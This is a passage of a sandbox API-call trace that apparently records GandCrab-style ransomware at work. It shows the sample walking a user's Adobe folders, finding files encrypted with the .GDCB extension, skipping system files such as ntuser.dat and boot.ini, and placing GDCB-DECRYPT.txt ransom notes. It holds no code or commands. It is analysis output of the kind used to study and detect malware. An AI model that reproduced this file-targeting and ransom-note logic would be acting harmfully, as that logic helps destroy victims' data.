returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.975] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.975] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 142 [0169.975] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 142 [0169.975] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.975] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.975] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.975] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.975] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.975] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.975] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 147 [0169.975] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 147 [0169.975] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.975] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.975] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.975] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.975] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.976] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.976] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 137 [0169.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 137 [0169.976] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.976] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.976] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.976] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.976] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.976] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0169.976] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.976] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.976] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.976] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 141 [0169.976] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.976] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4e18 [0169.977] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.977] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.977] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.977] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.977] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.977] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.977] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.977] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.977] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 157 [0169.977] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.977] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.977] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.977] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.977] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 158 [0169.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.978] GetLastError () returned 0x50 [0169.978] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.978] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 141 [0169.978] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.978] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4e18 [0169.978] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.978] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.978] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.978] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.978] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.978] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.978] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.978] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.978] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.979] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 157 [0169.979] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 157 [0169.979] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 157 [0169.979] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 157 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.979] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.979] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.979] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0169.979] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.979] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.979] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.979] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.979] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.979] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.979] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 139 [0169.979] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 139 [0169.979] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.986] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.986] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.986] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.986] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.986] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.986] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.986] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.987] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 134 [0169.987] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 134 [0169.987] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 134 [0169.987] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 134 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.987] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.987] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.987] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.987] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.987] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.987] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.987] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.987] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0169.987] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0169.987] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.987] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 118 [0169.988] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0169.988] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5a4e98 [0169.988] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.988] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.988] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.988] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.988] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.988] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.988] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.988] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0169.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 120 [0169.988] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0169.988] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.988] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.988] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.988] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 134 [0169.988] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.988] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0169.988] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0169.988] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.988] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 135 [0169.989] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.989] GetLastError () returned 0x50 [0169.989] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.989] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 118 [0169.989] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0169.989] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5a4c58 [0169.990] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.990] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.990] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.990] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.990] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.990] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.990] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.990] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0169.990] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 